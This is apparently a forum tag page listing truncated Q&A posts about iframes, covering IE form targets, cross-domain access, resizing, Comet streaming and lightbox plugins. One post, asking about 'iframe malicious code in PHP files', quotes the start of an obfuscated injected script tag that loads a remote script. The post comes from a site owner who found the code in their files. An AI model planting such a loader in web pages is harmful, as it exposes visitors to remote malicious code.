iframe

IE Issue: Submitting form to an iframe using javascript

Hi, I was trying to create an iframe element using javascript, like so... var iframe = document.createElement('iframe'); iframe.setAttribute('name', 'frame_x'); However, when I tried submitting a form using the newly-created iframe as target, IE opens up a new window, instead of using the iframe. form.setAttribute('target', 'frame_...

jQuery effect on iframe parent document

Just wondering if anyone else has experienced this or knows why I am getting an error. I'm using javascript from within an iframe to call a parent dom element then use jQuery UI's effect core to shake it. Here is an example: $(document).ready(function(){ if ($("form").length>0) { $("form").submit(function(){ ...

How to Stop Gmail from maximizing an iFrame?

I am trying to create a webpage with Gmail embedded in an iframe. However, Gmail has some javascript code that executes whenever it is loaded. I believe the following js code snippet is what causes Gmail to hijack the window and maximize itself, destroying my parent iframe: if (top.location != self.location) { top.location = self.loca...

Close iframe cross domain

I am trying to do something similar to the Clipper application here http://www.polyvore.com/cgi/clipper I can make the iframe appear in another website (cross domain). But I cannot make the "close" button to work. This is what I used but it doesn't work for cross domain (basically remove the iframe element) window.parent.document.getE...

Fill window with iFrame and not show scrollbars?

How can I make my iframe fill the window and not display any scrollbars? This works for IE6, I would like to get it to work for all browsers if possible: <iframe name=iframe1 src="theSiteToShow.html" width="100%" height="100%" frameborder="0" marginheight="10" marginwidth="10"></iframe> <script type="text/javascript"> function resizeI...

display jquery prettyPhoto lightbox in parent from iframe

I have been trying to get some assistance with this issue for a while now. I know this issue has been discussed before but I can't seem to get it to work. I have a master html page with an iframe on that page. I am using jquery prettyphoto and I was wondering how I can get the light box to display in the parent window when I click on the...

XSS security. Communication between 2 iframes from the same domain.

Domain abc.com has a page with 2 iframes. Both of them are loaded from domain xyz.com. Will XSS security block JavaScript access/communication/interaction between those two iframes? ...

Displaying an IFrame over an Applet? Bad idea?

Hi guys, In code I am working with there are instances where an IFrame gets placed partially over a Java Applet. I thought this approach was a "hack" and wasn't guaranteed to work correctly across browsers but up until now there hasn't been any show stopping bugs with the approach... Today however I found circumstances where on firefox ...

Access javascript function in a programatically iFrame

Hi, I am trying to access a javascript function in a programatically created iFrame from a javacript function outside. I tried several ways, but was not successful. like window.frames['frameid']. etc. Could you please provide me a syntax, ...

Prevent browser from prompting for file download when opening CSS file in iFrame?

I have a web app which loads an arbitrary page or file into an iFrame. Under some browsers, when pointing the iFrame's src to a css file, instead of displaying the css text, a "download/open file" prompt appears. Is there any way to prevent this? I understand the valid security reasons for not downloading or opening a non-text file by ...

Nested iframes in Rails/Facebooker app when using Internet Explorer

(I know there's been a similar question here: http://stackoverflow.com/questions/1474817/getting-nested-iframes-with-facebooker-in-iframe-app, but that fix didn't seem to work) I'm currently developing a Facebook iframe app in Rails using the Facebooker plugin. However, I'm getting some weird cross-browser incompatibilities. The app wor...

Stopping a iframe from loading a page using javascript

Hi, Is there a way in javascript of stopping an iframe in the middle of loading a page? The reason I need to do this is I have a background iframe streaming data from a web server (via a Comet style mechanism) and I need to be able to sever the connection at will. Any ideas welcome. ...

How to stop streamed Comet communications being buffered in the browser

I'm trying to push packets of data from my HTTP server to a browser, using a Comet "forever iframe" and feeding it script tags from the server using the Transfer-Encoding: chunked header. What I'm finding is that my script tags aren't being interpreted right away, and I have to send a number of chunks before the browser starts to respon...

How to access the content of an iframe with no name and id through JQuery?

The iframe is something like this: <iframe frameborder="0" src="http://www.another-domain.com/whatever.php"&gt; <html> <head>....</head> <body> .... .... <div div="mydiv">.....</div> </body> </html> </iframe> I want to access #mydiv from the parent window. The iframe contents are from another domain. ...

Iframe malicious code in PHP files?

I found the following code in PHP files in my website. I think someone just able to hack my ftp or with some way he's able to add this script in my PHP files, don't know how. <script>/*Exception*/ document.write('<script src='+'h&)t()#t@$^p^^(:&#/&/!)!@n&o&&$$@v@)!o)t@$e$!))k)^a)@!-$&&@r$u!!.)&u$!i(#m)#^s#()e$#$r#v$^(.!$#)n&e&)t).#p&&)@...

Updating IFRAME src while embedded in Thickbox

Hi all, hopefully a simple question here. I'm running a Wordpress blog that has a bunch of links to different cities, which point to a location on a Google map. My current setup involves having an iframe for each link, and that iframe pops up in a thickbox when it is clicked. Now that my list of cities has grown, I have many, many ifr...

Define an event on iFrame element with jQuery

Hi, I try to define a live event on img tags store on a iFrame. For example, I would like obtain a simple javascript alert box when I click a image on my iFrame. Do you know how i can define the events for the iFrame, because I would like to put a thing like $('img').live("click",function().... but only for the elements on iFrame. Tha...

How do I dynamically modify content (a TreeView) in the parent page from a child IFrame?

I have a TreeView menu on a parent or base base that hosts an IFrame in which content pages corresponding to menu items are loaded. Ideally one of my content pages should dymamically insert its own contextual items into it's section of the TreeView menu. I have a strong suspicion that jQuery is pretty much the only tool I am familair wi...

iframe auto resize in aspx files with vb.net codebehind

I put in the iframe tag as follows in my .aspx page - Now what code do i put in javascript or vb.net to make this auto resizable depending on the size of the page that comes in? ...

FancyBox iframe returns parent.$ as undefined (using WordPress)

I'm trying to close FancyBox from within the iframe, but parent.$ is always undefined. This is my iframe JavaScript: <script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js'&gt; </script> <script type="text/javascript"> jQuery(document).ready(function($){ (function($) { $....